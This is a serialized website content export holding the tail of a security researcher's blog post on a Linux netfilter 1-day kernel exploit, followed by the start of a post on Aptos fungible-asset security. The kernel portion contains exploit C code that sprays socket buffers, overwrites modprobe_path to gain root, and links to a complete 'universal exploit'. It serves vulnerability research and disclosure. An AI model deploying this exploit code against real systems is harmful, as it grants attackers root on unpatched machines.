failed\");\n[...]\n",[62089],{"type":23,"tag":154,"props":62090,"children":62091},{"__ignoreMap":7},[62092,62099,62121,62129,62136,62144,62152,62160,62168,62175,62183,62190,62228,62239,62246,62253,62260,62287,62318,62325,62347,62360,62367,62425,62432,62460,62467,62474,62495,62502,62523,62534,62541,62548,62569,62576,62604,62617,62624,62631,62680,62687,62755,62762,62783,62803,62810,62817,62824,62844],{"type":23,"tag":504,"props":62093,"children":62094},{"class":5016,"line":5017},[62095],{"type":23,"tag":504,"props":62096,"children":62097},{"style":5058},[62098],{"type":29,"value":12364},{"type":23,"tag":504,"props":62100,"children":62101},{"class":5016,"line":4868},[62102,62107,62112,62117],{"type":23,"tag":504,"props":62103,"children":62104},{"style":5058},[62105],{"type":29,"value":62106},"    puts(\"[*] ",{"type":23,"tag":504,"props":62108,"children":62109},{"style":5467},[62110],{"type":29,"value":62111},"overwrite",{"type":23,"tag":504,"props":62113,"children":62114},{"style":5467},[62115],{"type":29,"value":62116}," modprobe_path",{"type":23,"tag":504,"props":62118,"children":62119},{"style":6297},[62120],{"type":29,"value":58353},{"type":23,"tag":504,"props":62122,"children":62123},{"class":5016,"line":4876},[62124],{"type":23,"tag":504,"props":62125,"children":62126},{"style":6297},[62127],{"type":29,"value":62128},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":504,"props":62130,"children":62131},{"class":5016,"line":5099},[62132],{"type":23,"tag":504,"props":62133,"children":62134},{"style":6297},[62135],{"type":29,"value":31241},{"type":23,"tag":504,"props":62137,"children":62138},{"class":5016,"line":5203},[62139],{"type":23,"tag":504,"props":62140,"children":62141},{"style":6297},[62142],{"type":29,"value":62143},"        pipebuf->page = modprobe_page;\n",{"type":23,"tag":504,"props":62145,"children":62146},{"class":5016,"line":5308},[62147],{"type":23,"tag":504,"props":62148,"children":62149},{"style":6297},[62150],{"type":29,"value":62151},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":504,"props":62153,"children":62154},{"class":5016,"line":5336},[62155],{"type":23,"tag":504,"props":62156,"children":62157},{"style":6297},[62158],{"type":29,"value":62159},"        pipebuf->len = 0;\n",{"type":23,"tag":504,"props":62161,"children":62162},{"class":5016,"line":5349},[62163],{"type":23,"tag":504,"props":62164,"children":62165},{"style":6297},[62166],{"type":29,"value":62167},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":504,"props":62169,"children":62170},{"class":5016,"line":5367},[62171],{"type":23,"tag":504,"props":62172,"children":62173},{"style":6297},[62174],{"type":29,"value":33714},{"type":23,"tag":504,"props":62176,"children":62177},{"class":5016,"line":5388},[62178],{"type":23,"tag":504,"props":62179,"children":62180},{"style":6297},[62181],{"type":29,"value":62182},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":504,"props":62184,"children":62185},{"class":5016,"line":5397},[62186],{"type":23,"tag":504,"props":62187,"children":62188},{"style":6297},[62189],{"type":29,"value":33750},{"type":23,"tag":504,"props":62191,"children":62192},{"class":5016,"line":5649},[62193,62198,62202,62206,62210,62215,62219,62223],{"type":23,"tag":504,"props":62194,"children":62195},{"style":6297},[62196],{"type":29,"value":62197},"                perror(\"",{"type":23,"tag":504,"props":62199,"children":62200},{"style":5058},[62201],{"type":29,"value":1380},{"type":23,"tag":504,"props":62203,"children":62204},{"style":5047},[62205],{"type":29,"value":6368},{"type":23,"tag":504,"props":62207,"children":62208},{"style":5058},[62209],{"type":29,"value":10706},{"type":23,"tag":504,"props":62211,"children":62212},{"style":5467},[62213],{"type":29,"value":62214},"write",{"type":23,"tag":504,"props":62216,"children":62217},{"style":5058},[62218],{"type":29,"value":603},{"type":23,"tag":504,"props":62220,"children":62221},{"style":5467},[62222],{"type":29,"value":43996},{"type":23,"tag":504,"props":62224,"children":62225},{"style":5058},[62226],{"type":29,"value":62227},")\");\n",{"type":23,"tag":504,"props":62229,"children":62230},{"class":5016,"line":5666},[62231,62235],{"type":23,"tag":504,"props":62232,"children":62233},{"style":5067},[62234],{"type":29,"value":61021},{"type":23,"tag":504,"props":62236,"children":62237},{"style":5058},[62238],{"type":29,"value":5061},{"type":23,"tag":504,"props":62240,"children":62241},{"class":5016,"line":5683},[62242],{"type":23,"tag":504,"props":62243,"children":62244},{"style":5058},[62245],{"type":29,"value":60946},{"type":23,"tag":504,"props":62247,"children":62248},{"class":5016,"line":5696},[62249],{"type":23,"tag":504,"props":62250,"children":62251},{"style":5058},[62252],{"type":29,"value":5394},{"type":23,"tag":504,"props":62254,"children":62255},{"class":5016,"line":5705},[62256],{"type":23,"tag":504,"props":62257,"children":62258},{"emptyLinePlaceholder":15},[62259],{"type":29,"value":5734},{"type":23,"tag":504,"props":62261,"children":62262},{"class":5016,"line":5728},[62263,62267,62271,62275,62279,62283],{"type":23,"tag":504,"props":62264,"children":62265},{"style":5139},[62266],{"type":29,"value":56678},{"type":23,"tag":504,"props":62268,"children":62269},{"style":5058},[62270],{"type":29,"value":603},{"type":23,"tag":504,"props":62272,"children":62273},{"style":5047},[62274],{"type":29,"value":5151},{"type":23,"tag":504,"props":62276,"children":62277},{"style":5058},[62278],{"type":29,"value":60832},{"type":23,"tag":504,"props":62280,"children":62281},{"style":5083},[62282],{"type":29,"value":708},{"type":23,"tag":504,"props":62284,"children":62285},{"style":5058},[62286],{"type":29,"value":60841},{"type":23,"tag":504,"props":62288,"children":62289},{"class":5016,"line":5737},[62290,62294,62299,62303,62308,62313],{"type":23,"tag":504,"props":62291,"children":62292},{"style":5139},[62293],{"type":29,"value":57379},{"type":23,"tag":504,"props":62295,"children":62296},{"style":5058},[62297],{"type":29,"value":62298},"(fd_path, ",{"type":23,"tag":504,"props":62300,"children":62301},{"style":5030},[62302],{"type":29,"value":57389},{"type":23,"tag":504,"props":62304,"children":62305},{"style":5058},[62306],{"type":29,"value":62307},"(fd_path), ",{"type":23,"tag":504,"props":62309,"children":62310},{"style":6297},[62311],{"type":29,"value":62312},"\"/proc/%i/fd/%i\"",{"type":23,"tag":504,"props":62314,"children":62315},{"style":5058},[62316],{"type":29,"value":62317},", i, modprobe_fd);\n",{"type":23,"tag":504,"props":62319,"children":62320},{"class":5016,"line":5746},[62321],{"type":23,"tag":504,"props":62322,"children":62323},{"emptyLinePlaceholder":15},[62324],{"type":29,"value":5734},{"type":23,"tag":504,"props":62326,"children":62327},{"class":5016,"line":5813},[62328,62333,62338,62342],{"type":23,"tag":504,"props":62329,"children":62330},{"style":5139},[62331],{"type":29,"value":62332},"        lseek",{"type":23,"tag":504,"props":62334,"children":62335},{"style":5058},[62336],{"type":29,"value":62337},"(modprobe_fd, ",{"type":23,"tag":504,"props":62339,"children":62340},{"style":5083},[62341],{"type":29,"value":708},{"type":23,"tag":504,"props":62343,"children":62344},{"style":5058},[62345],{"type":29,"value":62346},", SEEK_SET);\n",{"type":23,"tag":504,"props":62348,"children":62349},{"class":5016,"line":5821},[62350,62355],{"type":23,"tag":504,"props":62351,"children":62352},{"style":5139},[62353],{"type":29,"value":62354},"        dprintf",{"type":23,"tag":504,"props":62356,"children":62357},{"style":5058},[62358],{"type":29,"value":62359},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":504,"props":62361,"children":62362},{"class":5016,"line":5851},[62363],{"type":23,"tag":504,"props":62364,"children":62365},{"emptyLinePlaceholder":15},[62366],{"type":29,"value":5734},{"type":23,"tag":504,"props":62368,"children":62369},{"class":5016,"line":5859},[62370,62374,62378,62382,62386,62390,62395,62399,62404,62409,62413,62417,62421],{"type":23,"tag":504,"props":62371,"children":62372},{"style":5067},[62373],{"type":29,"value":5314},{"type":23,"tag":504,"props":62375,"children":62376},{"style":5058},[62377],{"type":29,"value":5110},{"type":23,"tag":504,"props":62379,"children":62380},{"style":5139},[62381],{"type":29,"value":62214},{"type":23,"tag":504,"props":62383,"children":62384},{"style":5058},[62385],{"type":29,"value":603},{"type":23,"tag":504,"props":62387,"children":62388},{"style":5041},[62389],{"type":29,"value":60885},{"type":23,"tag":504,"props":62391,"children":62392},{"style":5058},[62393],{"type":29,"value":62394},"[pipe_idx][",{"type":23,"tag":504,"props":62396,"children":62397},{"style":5083},[62398],{"type":29,"value":826},{"type":23,"tag":504,"props":62400,"children":62401},{"style":5058},[62402],{"type":29,"value":62403},"], fd_path, ",{"type":23,"tag":504,"props":62405,"children":62406},{"style":5083},[62407],{"type":29,"value":62408},"32",{"type":23,"tag":504,"props":62410,"children":62411},{"style":5058},[62412],{"type":29,"value":5128},{"type":23,"tag":504,"props":62414,"children":62415},{"style":5047},[62416],{"type":29,"value":2658},{"type":23,"tag":504,"props":62418,"children":62419},{"style":5083},[62420],{"type":29,"value":5086},{"type":23,"tag":504,"props":62422,"children":62423},{"style":5058},[62424],{"type":29,"value":5200},{"type":23,"tag":504,"props":62426,"children":62427},{"class":5016,"line":5891},[62428],{"type":23,"tag":504,"props":62429,"children":62430},{"style":5058},[62431],{"type":29,"value":33714},{"type":23,"tag":504,"props":62433,"children":62434},{"class":5016,"line":5899},[62435,62439,62443,62447,62451,62456],{"type":23,"tag":504,"props":62436,"children":62437},{"style":5139},[62438],{"type":29,"value":59958},{"type":23,"tag":504,"props":62440,"children":62441},{"style":5058},[62442],{"type":29,"value":603},{"type":23,"tag":504,"props":62444,"children":62445},{"style":6297},[62446],{"type":29,"value":22112},{"type":23,"tag":504,"props":62448,"children":62449},{"style":50436},[62450],{"type":29,"value":50439},{"type":23,"tag":504,"props":62452,"children":62453},{"style":6297},[62454],{"type":29,"value":62455},"[-] write(pipe)\"",{"type":23,"tag":504,"props":62457,"children":62458},{"style":5058},[62459],{"type":29,"value":5888},{"type":23,"tag":504,"props":62461,"children":62462},{"class":5016,"line":5959},[62463],{"type":23,"tag":504,"props":62464,"children":62465},{"style":5058},[62466],{"type":29,"value":5394},{"type":23,"tag":504,"props":62468,"children":62469},{"class":5016,"line":11093},[62470],{"type":23,"tag":504,"props":62471,"children":62472},{"emptyLinePlaceholder":15},[62473],{"type":29,"value":5734},{"type":23,"tag":504,"props":62475,"children":62476},{"class":5016,"line":11111},[62477,62481,62485,62490],{"type":23,"tag":504,"props":62478,"children":62479},{"style":5067},[62480],{"type":29,"value":5314},{"type":23,"tag":504,"props":62482,"children":62483},{"style":5058},[62484],{"type":29,"value":5110},{"type":23,"tag":504,"props":62486,"children":62487},{"style":5139},[62488],{"type":29,"value":62489},"check_modprobe",{"type":23,"tag":504,"props":62491,"children":62492},{"style":5058},[62493],{"type":29,"value":62494},"(fd_path))\n",{"type":23,"tag":504,"props":62496,"children":62497},{"class":5016,"line":11156},[62498],{"type":23,"tag":504,"props":62499,"children":62500},{"style":5058},[62501],{"type":29,"value":33714},{"type":23,"tag":504,"props":62503,"children":62504},{"class":5016,"line":11262},[62505,62510,62514,62519],{"type":23,"tag":504,"props":62506,"children":62507},{"style":5139},[62508],{"type":29,"value":62509},"            puts",{"type":23,"tag":504,"props":62511,"children":62512},{"style":5058},[62513],{"type":29,"value":603},{"type":23,"tag":504,"props":62515,"children":62516},{"style":6297},[62517],{"type":29,"value":62518},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":504,"props":62520,"children":62521},{"style":5058},[62522],{"type":29,"value":5888},{"type":23,"tag":504,"props":62524,"children":62525},{"class":5016,"line":25550},[62526,62530],{"type":23,"tag":504,"props":62527,"children":62528},{"style":5067},[62529],{"type":29,"value":5342},{"type":23,"tag":504,"props":62531,"children":62532},{"style":5058},[62533],{"type":29,"value":5061},{"type":23,"tag":504,"props":62535,"children":62536},{"class":5016,"line":25585},[62537],{"type":23,"tag":504,"props":62538,"children":62539},{"style":5058},[62540],{"type":29,"value":5394},{"type":23,"tag":504,"props":62542,"children":62543},{"class":5016,"line":25593},[62544],{"type":23,"tag":504,"props":62545,"children":62546},{"emptyLinePlaceholder":15},[62547],{"type":29,"value":5734},{"type":23,"tag":504,"props":62549,"children":62550},{"class":5016,"line":25601},[62551,62555,62559,62564],{"type":23,"tag":504,"props":62552,"children":62553},{"style":5067},[62554],{"type":29,"value":5314},{"type":23,"tag":504,"props":62556,"children":62557},{"style":5058},[62558],{"type":29,"value":5110},{"type":23,"tag":504,"props":62560,"children":62561},{"style":5139},[62562],{"type":29,"value":62563},"trigger_modprobe",{"type":23,"tag":504,"props":62565,"children":62566},{"style":5058},[62567],{"type":29,"value":62568},"(status_fd))\n",{"type":23,"tag":504,"props":62570,"children":62571},{"class":5016,"line":25610},[62572],{"type":23,"tag":504,"props":62573,"children":62574},{"style":5058},[62575],{"type":29,"value":33714},{"type":23,"tag":504,"props":62577,"children":62578},{"class":5016,"line":25652},[62579,62583,62587,62591,62595,62600],{"type":23,"tag":504,"props":62580,"children":62581},{"style":5139},[62582],{"type":29,"value":62509},{"type":23,"tag":504,"props":62584,"children":62585},{"style":5058},[62586],{"type":29,"value":603},{"type":23,"tag":504,"props":62588,"children":62589},{"style":6297},[62590],{"type":29,"value":22112},{"type":23,"tag":504,"props":62592,"children":62593},{"style":50436},[62594],{"type":29,"value":50439},{"type":23,"tag":504,"props":62596,"children":62597},{"style":6297},[62598],{"type":29,"value":62599},"[+] got root\"",{"type":23,"tag":504,"props":62601,"children":62602},{"style":5058},[62603],{"type":29,"value":5888},{"type":23,"tag":504,"props":62605,"children":62606},{"class":5016,"line":25685},[62607,62612],{"type":23,"tag":504,"props":62608,"children":62609},{"style":5067},[62610],{"type":29,"value":62611},"            goto",{"type":23,"tag":504,"props":62613,"children":62614},{"style":5058},[62615],{"type":29,"value":62616}," out;\n",{"type":23,"tag":504,"props":62618,"children":62619},{"class":5016,"line":25693},[62620],{"type":23,"tag":504,"props":62621,"children":62622},{"style":5058},[62623],{"type":29,"value":5394},{"type":23,"tag":504,"props":62625,"children":62626},{"class":5016,"line":25701},[62627],{"type":23,"tag":504,"props":62628,"children":62629},{"emptyLinePlaceholder":15},[62630],{"type":29,"value":5734},{"type":23,"tag":504,"props":62632,"children":62633},{"class":5016,"line":25710},[62634,62639,62643,62647,62651,62655,62659,62663,62667,62672,62676],{"type":23,"tag":504,"props":62635,"children":62636},{"style":5067},[62637],{"type":29,"value":62638},"        for",{"type":23,"tag":504,"props":62640,"children":62641},{"style":5058},[62642],{"type":29,"value":5110},{"type":23,"tag":504,"props":62644,"children":62645},{"style":5030},[62646],{"type":29,"value":21098},{"type":23,"tag":504,"props":62648,"children":62649},{"style":5058},[62650],{"type":29,"value":56605},{"type":23,"tag":504,"props":62652,"children":62653},{"style":5047},[62654],{"type":29,"value":546},{"type":23,"tag":504,"props":62656,"children":62657},{"style":5083},[62658],{"type":29,"value":5086},{"type":23,"tag":504,"props":62660,"children":62661},{"style":5058},[62662],{"type":29,"value":53295},{"type":23,"tag":504,"props":62664,"children":62665},{"style":5047},[62666],{"type":29,"value":2658},{"type":23,"tag":504,"props":62668,"children":62669},{"style":5058},[62670],{"type":29,"value":62671}," SKBUF_SPRAY; i",{"type":23,"tag":504,"props":62673,"children":62674},{"style":5047},[62675],{"type":29,"value":53331},{"type":23,"tag":504,"props":62677,"children":62678},{"style":5058},[62679],{"type":29,"value":5200},{"type":23,"tag":504,"props":62681,"children":62682},{"class":5016,"line":25786},[62683],{"type":23,"tag":504,"props":62684,"children":62685},{"style":5058},[62686],{"type":29,"value":33714},{"type":23,"tag":504,"props":62688,"children":62689},{"class":5016,"line":25819},[62690,62694,62698,62703,62707,62712,62717,62721,62726,62730,62734,62739,62743,62747,62751],{"type":23,"tag":504,"props":62691,"children":62692},{"style":5067},[62693],{"type":29,"value":60862},{"type":23,"tag":504,"props":62695,"children":62696},{"style":5058},[62697],{"type":29,"value":5110},{"type":23,"tag":504,"props":62699,"children":62700},{"style":5139},[62701],{"type":29,"value":62702},"read",{"type":23,"tag":504,"props":62704,"children":62705},{"style":5058},[62706],{"type":29,"value":603},{"type":23,"tag":504,"props":62708,"children":62709},{"style":5041},[62710],{"type":29,"value":62711},"sock",{"type":23,"tag":504,"props":62713,"children":62714},{"style":5058},[62715],{"type":29,"value":62716},"[i][",{"type":23,"tag":504,"props":62718,"children":62719},{"style":5083},[62720],{"type":29,"value":826},{"type":23,"tag":504,"props":62722,"children":62723},{"style":5058},[62724],{"type":29,"value":62725},"], leak, ",{"type":23,"tag":504,"props":62727,"children":62728},{"style":5083},[62729],{"type":29,"value":60209},{"type":23,"tag":504,"props":62731,"children":62732},{"style":5047},[62733],{"type":29,"value":53317},{"type":23,"tag":504,"props":62735,"children":62736},{"style":5083},[62737],{"type":29,"value":62738}," 320",{"type":23,"tag":504,"props":62740,"children":62741},{"style":5058},[62742],{"type":29,"value":5128},{"type":23,"tag":504,"props":62744,"children":62745},{"style":5047},[62746],{"type":29,"value":2658},{"type":23,"tag":504,"props":62748,"children":62749},{"style":5083},[62750],{"type":29,"value":5086},{"type":23,"tag":504,"props":62752,"children":62753},{"style":5058},[62754],{"type":29,"value":5200},{"type":23,"tag":504,"props":62756,"children":62757},{"class":5016,"line":25827},[62758],{"type":23,"tag":504,"props":62759,"children":62760},{"style":5058},[62761],{"type":29,"value":33750},{"type":23,"tag":504,"props":62763,"children":62764},{"class":5016,"line":25835},[62765,62770,62774,62779],{"type":23,"tag":504,"props":62766,"children":62767},{"style":5139},[62768],{"type":29,"value":62769},"                perror",{"type":23,"tag":504,"props":62771,"children":62772},{"style":5058},[62773],{"type":29,"value":603},{"type":23,"tag":504,"props":62775,"children":62776},{"style":6297},[62777],{"type":29,"value":62778},"\"[-] read(socket)\"",{"type":23,"tag":504,"props":62780,"children":62781},{"style":5058},[62782],{"type":29,"value":5888},{"type":23,"tag":504,"props":62784,"children":62785},{"class":5016,"line":25872},[62786,62791,62795,62799],{"type":23,"tag":504,"props":62787,"children":62788},{"style":5067},[62789],{"type":29,"value":62790},"                return",{"type":23,"tag":504,"props":62792,"children":62793},{"style":5047},[62794],{"type":29,"value":53317},{"type":23,"tag":504,"props":62796,"children":62797},{"style":5083},[62798],{"type":29,"value":826},{"type":23,"tag":504,"props":62800,"children":62801},{"style":5058},[62802],{"type":29,"value":5061},{"type":23,"tag":504,"props":62804,"children":62805},{"class":5016,"line":25885},[62806],{"type":23,"tag":504,"props":62807,"children":62808},{"style":5058},[62809],{"type":29,"value":60946},{"type":23,"tag":504,"props":62811,"children":62812},{"class":5016,"line":25898},[62813],{"type":23,"tag":504,"props":62814,"children":62815},{"style":5058},[62816],{"type":29,"value":5394},{"type":23,"tag":504,"props":62818,"children":62819},{"class":5016,"line":25911},[62820],{"type":23,"tag":504,"props":62821,"children":62822},{"style":5058},[62823],{"type":29,"value":5403},{"type":23,"tag":504,"props":62825,"children":62826},{"class":5016,"line":25965},[62827,62831,62835,62840],{"type":23,"tag":504,"props":62828,"children":62829},{"style":5139},[62830],{"type":29,"value":57568},{"type":23,"tag":504,"props":62832,"children":62833},{"style":5058},[62834],{"type":29,"value":603},{"type":23,"tag":504,"props":62836,"children":62837},{"style":6297},[62838],{"type":29,"value":62839},"\"[-] fake modprobe failed\"",{"type":23,"tag":504,"props":62841,"children":62842},{"style":5058},[62843],{"type":29,"value":5888},{"type":23,"tag":504,"props":62845,"children":62846},{"class":5016,"line":25974},[62847],{"type":23,"tag":504,"props":62848,"children":62849},{"style":5058},[62850],{"type":29,"value":12364},{"type":23,"tag":32,"props":62852,"children":62853},{},[62854,62856,62863],{"type":29,"value":62855},"This trick has already been throughly detailed by ",{"type":23,"tag":68,"props":62857,"children":62860},{"href":62858,"rel":62859},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[72],[62861],{"type":29,"value":62862},"lau",{"type":29,"value":62864},", so we won't go much more into it.",{"type":23,"tag":320,"props":62866,"children":62868},{"id":62867},"universal-exploit-demo",[62869],{"type":29,"value":62870},"Universal exploit demo",{"type":23,"tag":32,"props":62872,"children":62873},{},[62874,62876,62882],{"type":29,"value":62875},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":68,"props":62877,"children":62880},{"href":62878,"rel":62879},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[72],[62881],{"type":29,"value":59476},{"type":29,"value":357},{"type":23,"tag":24,"props":62884,"children":62886},{"id":62885},"disclosure-timeline",[62887],{"type":29,"value":62888},"Disclosure Timeline",{"type":23,"tag":1022,"props":62890,"children":62891},{},[62892,62897,62902,62907,62912],{"type":23,"tag":143,"props":62893,"children":62894},{},[62895],{"type":29,"value":62896},"March 21st -- Patch made public",{"type":23,"tag":143,"props":62898,"children":62899},{},[62900],{"type":29,"value":62901},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":143,"props":62903,"children":62904},{},[62905],{"type":29,"value":62906},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":143,"props":62908,"children":62909},{},[62910],{"type":29,"value":62911},"March 26th -- Wrote Universal exploit",{"type":23,"tag":143,"props":62913,"children":62914},{},[62915],{"type":29,"value":62916},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":32,"props":62918,"children":62919},{},[62920],{"type":29,"value":62921},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":24,"props":62923,"children":62924},{"id":4832},[62925],{"type":29,"value":4835},{"type":23,"tag":32,"props":62927,"children":62928},{},[62929],{"type":29,"value":62930},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":32,"props":62932,"children":62933},{},[62934],{"type":29,"value":62935},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":7410,"props":62937,"children":62938},{},[62939],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":62941},[62942,62945,62948,62951,62952,62962,62970,62971],{"id":52631,"depth":4868,"text":52634,"children":62943},[62944],{"id":52651,"depth":4876,"text":52654},{"id":52694,"depth":4868,"text":52694,"children":62946},[62947],{"id":52741,"depth":4876,"text":52744},{"id":52799,"depth":4868,"text":52802,"children":62949},[62950],{"id":53960,"depth":4876,"text":53963},{"id":55835,"depth":4868,"text":55838},{"id":56237,"depth":4868,"text":56240,"children":62953},[62954,62955,62956,62958,62959,62960,62961],{"id":56264,"depth":4876,"text":56267},{"id":57146,"depth":4876,"text":57149},{"id":57732,"depth":4876,"text":62957},"Leaking self pointer of nft_object",{"id":58130,"depth":4876,"text":58133},{"id":58643,"depth":4876,"text":58646},{"id":58773,"depth":4876,"text":58431},{"id":59457,"depth":4876,"text":59460},{"id":59480,"depth":4868,"text":59483,"children":62963},[62964,62965,62966,62967,62969],{"id":59491,"depth":4876,"text":59494},{"id":60349,"depth":4876,"text":60352},{"id":60425,"depth":4876,"text":60428},{"id":62050,"depth":4876,"text":62968},"Overwriting modprobe_path",{"id":62867,"depth":4876,"text":62870},{"id":62885,"depth":4868,"text":62888},{"id":4832,"depth":4868,"text":4835},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":62976,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":62977,"description":62978,"image":62979,"date":62981,"isFeatured":15,"onBlogPage":15,"tags":62982,"body":62983,"_type":4892,"_id":69701,"_source":4894,"_file":69702,"_stem":69703,"_extension":4897},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":62980,"width":7430,"height":7431},"/posts/aptos-guide/title.png","2025-02-10",[7925],{"type":20,"children":62984,"toc":69685},[62985,62998,63003,63012,63018,63046,63119,63159,63193,63354,63373,63454,63494,63522,63539,63544,63552,63557,63563,63584,63664,63697,63705,63718,63723,64107,64112,64117,64123,64128,64140,64244,64282,64285,64303,64611,64616,64628,64634,64660,64681,64686,64865,64885,64891,64911,64923,64928,64934,64946,65009,65036,65060,65281,65284,65303,65413,65470,65606,65633,65639,65665,65909,65937,66239,66272,66286,66312,66345,66652,66664,66941,66955,67272,67291,67297,67329,67369,67470,67490,67610,67627,67701,67713,67801,67822,67828,67833,67838,67855,67876,68247,68306,68311,68762,68767,68803,68809,68821,68843,68869,69076,69090,69345,69357,69384,69535,69554,69584,69588,69599,69604,69617,69681],{"type":23,"tag":32,"props":62986,"children":62987},{},[62988,62990,62996],{"type":29,"value":62989},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":154,"props":62991,"children":62993},{"className":62992},[],[62994],{"type":29,"value":62995},"coin",{"type":29,"value":62997}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":32,"props":62999,"children":63000},{},[63001],{"type":29,"value":63002},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":63004,"props":63005,"children":63006},"important",{},[63007],{"type":23,"tag":32,"props":63008,"children":63009},{},[63010],{"type":29,"value":63011},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":24,"props":63013,"children":63015},{"id":63014},"aptos-coin-standard",[63016],{"type":29,"value":63017},"Aptos Coin standard",{"type":23,"tag":32,"props":63019,"children":63020},{},[63021,63023,63029,63031,63036,63037,63044],{"type":29,"value":63022},"In the beginning, Aptos used ",{"type":23,"tag":154,"props":63024,"children":63026},{"className":63025},[],[63027],{"type":29,"value":63028},"Coin",{"type":29,"value":63030},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":154,"props":63032,"children":63034},{"className":63033},[],[63035],{"type":29,"value":63028},{"type":29,"value":7546},{"type":23,"tag":68,"props":63038,"children":63041},{"href":63039,"rel":63040},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[72],[63042],{"type":29,"value":63043},"defined",{"type":29,"value":63045}," in Aptos as follows:",{"type":23,"tag":4743,"props":63047,"children":63049},{"className":5009,"code":63048,"language":5008,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[63050],{"type":23,"tag":154,"props":63051,"children":63052},{"__ignoreMap":7},[63053,63092,63112],{"type":23,"tag":504,"props":63054,"children":63055},{"class":5016,"line":5017},[63056,63060,63064,63068,63072,63076,63080,63084,63088],{"type":23,"tag":504,"props":63057,"children":63058},{"style":5030},[63059],{"type":29,"value":11448},{"type":23,"tag":504,"props":63061,"children":63062},{"style":5467},[63063],{"type":29,"value":7847},{"type":23,"tag":504,"props":63065,"children":63066},{"style":5058},[63067],{"type":29,"value":2658},{"type":23,"tag":504,"props":63069,"children":63070},{"style":5041},[63071],{"type":29,"value":7856},{"type":23,"tag":504,"props":63073,"children":63074},{"style":5467},[63075],{"type":29,"value":7861},{"type":23,"tag":504,"props":63077,"children":63078},{"style":5058},[63079],{"type":29,"value":7866},{"type":23,"tag":504,"props":63081,"children":63082},{"style":5041},[63083],{"type":29,"value":7871},{"type":23,"tag":504,"props":63085,"children":63086},{"style":5041},[63087],{"type":29,"value":7876},{"type":23,"tag":504,"props":63089,"children":63090},{"style":5058},[63091],{"type":29,"value":5333},{"type":23,"tag":504,"props":63093,"children":63094},{"class":5016,"line":4868},[63095,63100,63104,63108],{"type":23,"tag":504,"props":63096,"children":63097},{"style":5041},[63098],{"type":29,"value":63099},"    value",{"type":23,"tag":504,"props":63101,"children":63102},{"style":5047},[63103],{"type":29,"value":6533},{"type":23,"tag":504,"props":63105,"children":63106},{"style":5467},[63107],{"type":29,"value":7905},{"type":23,"tag":504,"props":63109,"children":63110},{"style":5058},[63111],{"type":29,"value":5557},{"type":23,"tag":504,"props":63113,"children":63114},{"class":5016,"line":4876},[63115],{"type":23,"tag":504,"props":63116,"children":63117},{"style":5058},[63118],{"type":29,"value":5965},{"type":23,"tag":32,"props":63120,"children":63121},{},[63122,63124,63129,63131,63137,63138,63144,63146,63151,63153,63158],{"type":29,"value":63123},"Aptos distinguishes coins by their type (",{"type":23,"tag":154,"props":63125,"children":63127},{"className":63126},[],[63128],{"type":29,"value":8627},{"type":29,"value":63130},") at compile time. For example, ",{"type":23,"tag":154,"props":63132,"children":63134},{"className":63133},[],[63135],{"type":29,"value":63136},"Coin\u003COtter>",{"type":29,"value":4478},{"type":23,"tag":154,"props":63139,"children":63141},{"className":63140},[],[63142],{"type":29,"value":63143},"Coin\u003CWeasel>",{"type":29,"value":63145}," represent different coins, and you cannot pass a ",{"type":23,"tag":154,"props":63147,"children":63149},{"className":63148},[],[63150],{"type":29,"value":63143},{"type":29,"value":63152}," to a function expecting ",{"type":23,"tag":154,"props":63154,"children":63156},{"className":63155},[],[63157],{"type":29,"value":63136},{"type":29,"value":357},{"type":23,"tag":32,"props":63160,"children":63161},{},[63162,63164,63169,63171,63176,63178,63183,63185,63191],{"type":29,"value":63163},"The type signature reveals why ",{"type":23,"tag":154,"props":63165,"children":63167},{"className":63166},[],[63168],{"type":29,"value":63028},{"type":29,"value":63170}," has become a legacy standard. 